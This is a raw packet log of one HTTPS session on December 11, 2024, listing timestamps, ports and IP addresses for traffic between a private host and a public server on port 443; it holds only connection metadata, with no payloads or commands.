Dec 11, 2024 12:15:52.227603912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.227787018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.228818893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.228832006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.228981018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.229159117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.229159117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.229167938 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.229353905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.230875015 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.230887890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.231209993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.231209993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.231209993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.231221914 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.231401920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.233072996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.233087063 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.233395100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.233395100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.233395100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.233395100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.233412981 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.233583927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.234699965 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.234711885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.234889030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.234889030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.235068083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.235080004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.235205889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.235205889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.235285044 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.236587048 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.236598015 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.236695051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.236695051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.236927032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.236927032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.236927032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.236938000 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.237116098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.238341093 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.238353014 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.238501072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.238501072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.238686085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.238694906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.238877058 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.238877058 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.238924980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.240333080 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.240345001 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.240478039 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.240478039 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.240529060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.240536928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.240700006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.240700006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.242394924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.242407084 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.242738008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.242738008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.242738008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.242738008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.242753029 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.243124962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.244379044 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.244390011 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.244529009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.244575024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.244575024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.244580984 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.244750977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.244750977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.246027946 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.246037960 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.246193886 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.246370077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.246377945 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.246566057 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.246566057 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.246566057 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.248589993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.248599052 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.248727083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.248735905 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.248778105 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.248778105 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.248785973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.248955965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.248955965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.249151945 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.423989058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.424015999 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.424155951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.424180984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.424196959 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.424362898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.424556017 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.424556971 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.425668955 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.425695896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.426016092 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.426016092 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.426042080 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.426173925 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.426651001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.427241087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.427267075 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.427407980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.427407980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.427587986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.427587986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.427587986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.427606106 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.427779913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.429017067 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.429038048 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.429208040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.429227114 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.429394960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.429394960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.429395914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.430892944 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.430918932 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.431061029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.431061029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.431241989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.431241989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.431267977 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.431430101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.432564020 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.432590008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.432703972 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.432934046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.432934046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.432950974 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.433126926 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.434036016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.434065104 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.434215069 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.434216022 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.434245110 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.434407949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.434576035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.434576035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.435658932 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.435686111 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.435823917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.436006069 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.436006069 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.436006069 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.436027050 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.436192989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.437434912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.437453985 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.437582970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.437603951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.437603951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.437617064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.437650919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.437650919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.438338041 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.439348936 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.439376116 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.439532042 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.439532042 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.439532995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.439558029 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.439907074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.441009045 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.441035986 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.441359997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.441359997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.441359997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.441359997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.441359997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.441387892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.441736937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.442071915 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.442099094 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.442235947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.442415953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.442415953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.442415953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.442435026 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.443135023 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.444149971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.444171906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.444621086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.444621086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.444621086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.444621086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.444621086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.444652081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.444909096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.445954084 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.445980072 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.446119070 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.446300983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.446300983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.446322918 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.446559906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.447659969 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.447681904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.448008060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.448008060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.448041916 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.448199987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.448976040 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.449002028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.449112892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.449161053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.449161053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.449172020 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.449340105 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.449877024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.450637102 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.450663090 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.450992107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.450992107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.451016903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.451179981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.451375008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.452794075 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.452821016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.453144073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.453144073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.453166962 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.453334093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.453334093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.453334093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.454550982 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.454576015 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.454762936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.454787016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.454946995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.455543041 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.456207037 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.456233025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.456554890 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.456554890 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.456746101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.456746101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.456769943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.456934929 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.457556009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.457583904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.457716942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.457717896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.457880974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.457880974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.457901001 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.458069086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.459052086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.459074974 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.459218979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.459218979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.459394932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.459394932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.459414959 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.459589005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.459633112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.460850954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.460871935 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.461191893 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.461191893 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.461210966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.461815119 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.462987900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.463015079 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.463159084 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.463331938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.463331938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.463346004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.463526964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.463526964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.464117050 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.464143038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.464287043 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.464462996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.464462996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.464462996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.464462996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.464479923 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.464658022 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.465929031 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.465955973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.466722965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.466722965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.466722965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.466723919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.466723919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.466758013 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.466916084 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.467528105 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.467554092 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.467705011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.467705011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.467888117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.467888117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.467888117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.467902899 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.468123913 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.469295979 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.469324112 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.469460964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.469460964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.469619036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.469626904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.469811916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.471049070 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.471079111 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.471393108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.471402884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.471832991 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.471832991 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.472048998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.472410917 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.472436905 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.472759008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.472759962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.472785950 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.473139048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.474308968 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.474334002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.474684000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.474684000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.474684000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.474684000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.474684000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.474716902 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.474878073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.475996971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.476022005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.476344109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.476344109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.476344109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.476371050 CET	443	49782	172.67.128.139	192.168.11.20
